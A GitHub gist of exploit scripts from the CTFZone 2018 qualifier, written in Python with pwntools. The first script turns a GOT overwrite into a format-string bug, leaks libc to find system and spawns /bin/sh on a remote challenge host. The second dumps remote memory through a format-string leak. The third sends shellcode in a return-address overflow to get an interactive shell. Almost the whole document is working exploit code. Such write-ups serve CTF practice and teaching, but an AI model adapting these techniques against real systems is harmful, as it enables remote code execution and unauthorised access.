Skip to content

Instantly share code, notes, and snippets.

@cubarco
Last active July 24, 2018 03:03
Show Gist options
  • Save cubarco/9bfafbc77dd2c0330e3c0ef87013c6fa to your computer and use it in GitHub Desktop.
Save cubarco/9bfafbc77dd2c0330e3c0ef87013c6fa to your computer and use it in GitHub Desktop.
CTFZone 2018 Quals exps
easypwn_strings, Mobile Bank
#!/usr/bin/env python
# coding=utf8
from pwn import remote, context, p32, DynELF, ELF, u32, info
import ctypes
#context.log_level = 'debug'
p = remote('pwn-04.v7frkwrfyhsjtbpfcppnu.ctfz.one', 1337)
def set_id(note_id):
p.sendlineafter('choice: ', '2')
p.sendlineafter('id: ', str(note_id))
def set_note(note_id, content):
set_id(note_id)
p.sendlineafter('choice: ', '3')
p.sendlineafter('note: ', content)
def trade(note_id, value):
set_id(note_id)
p.sendlineafter('choice: ', '4')
p.sendlineafter('value: ', str(value))
def enable_debug(pwd):
p.sendlineafter('choice: ', '6')
p.sendlineafter('password: ', pwd)
def _leak(adr):
fsb_payload = "|%7$s|aa" + p32(adr)
enable_debug(fsb_payload)
r = p.recvuntil('|aa')
data = r.split('|')[1]
return data + '\x00'
def leak(adr):
info('leak: 0x%08x', adr)
data = _leak(adr)
while len(data) < 4:
data += _leak(adr + len(data))
info(' ---> %08x', u32(data[:4]))
return data[:4]
def _off_id_to_notes_ptr(adr):
base = 0x22088
offset = adr - base
if offset > 0 or offset % 8 != 0:
raise
return offset / 8
def weak_leak(adr):
info('weak_leak: 0x%08x', adr)
off_id = _off_id_to_notes_ptr(adr)
set_id(off_id)
# account info
p.sendlineafter('choice: ', '5')
p.recvuntil('value: ')
value = p.recvuntil('$, ')[:-3]
return p32(int(value) & 0xffffffff)
def _cint32_minus(left, right):
left_int = ctypes.c_int32(left)
right_int = ctypes.c_int32(right)
return ctypes.c_int32(left_int.value - right_int.value).value
# enable_debug('whatever')
printf_plt = 0x10754
memcmp_got = 0x22050
memcmp_got_value = u32(weak_leak(memcmp_got))
info('memcmp_got_value: 0x%08x', memcmp_got_value)
# modify memcmp_got to printf_plt to make a Format String Bug
trade(_off_id_to_notes_ptr(memcmp_got), _cint32_minus(printf_plt, memcmp_got_value))
main = 0x11284
d = DynELF(leak, main, elf=ELF('./mobile_bank'))
system_libc = d.lookup('system', 'libc')
info('system_libc: 0x%08x', system_libc)
# system_libc = memcmp_got_value - 175752
# info('system_libc: 0x%08x', system_libc)
# memcmp_got has been modifided to printf_plt(AKA 0x10754)
system_off_to_printf_plt = _cint32_minus(system_libc, printf_plt)
trade(_off_id_to_notes_ptr(memcmp_got), system_off_to_printf_plt)
# now call memcpy again and trigger system
enable_debug('/bin/sh\x00')
p.interactive()
from pwn import remote, p32, info
def dump(adr, frmt='s'):
p = remote('pwn-03.v7frkwrfyhsjtbpfcppnu.ctfz.one', 1234)
raw_adr = p32(adr)
#print raw_adr
if '\n' in raw_adr or '\x00' in raw_adr:
return ('', '')
leak_part = '|%13${}|'.format(frmt)
payload = leak_part.ljust(12, 'A') + 'EOF_strs' + raw_adr
info(payload)
p.sendlineafter('3. StrRemoveLastSymbols\r\n', '3')
p.sendlineafter('Set string:\r\n', payload)
p.sendlineafter('Set number:\r\n', '0')
p.recvuntil('Result:\r\n')
r = p.recvuntil('EOF_strs')
p.close()
return r.split('|')[1], r
adr = 0x804a000
# You need to previously create a file named dump.raw that contains one byte '\x7f' as the first byte of the ELF magic number.
adr += len(open('dump.raw').read())
while True:
with open('dynamic.raw', 'a') as f:
info('leak 0x{:08x}'.format(adr))
leak = dump(adr, 's')[0] + "\x00"
adr += len(leak)
info(" --> {}".format(repr(leak)))
f.write(leak)
f.flush()
from pwn import remote, p32, process, shellcraft, asm
#p = process('./babypwn', env={"LD_PRELOAD": "./babylibc"})
p = remote('pwn-03.v7frkwrfyhsjtbpfcppnu.ctfz.one', 1234)
shellcode = asm(shellcraft.i386.linux.sh()) + 'y'
payload = shellcode.ljust(256, '\x00') + p32(0x80492e0)
p.sendlineafter('3. StrRemoveLastSymbols\r\n', 'X')
p.sendlineafter('(y or n)\r\n', payload)
p.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment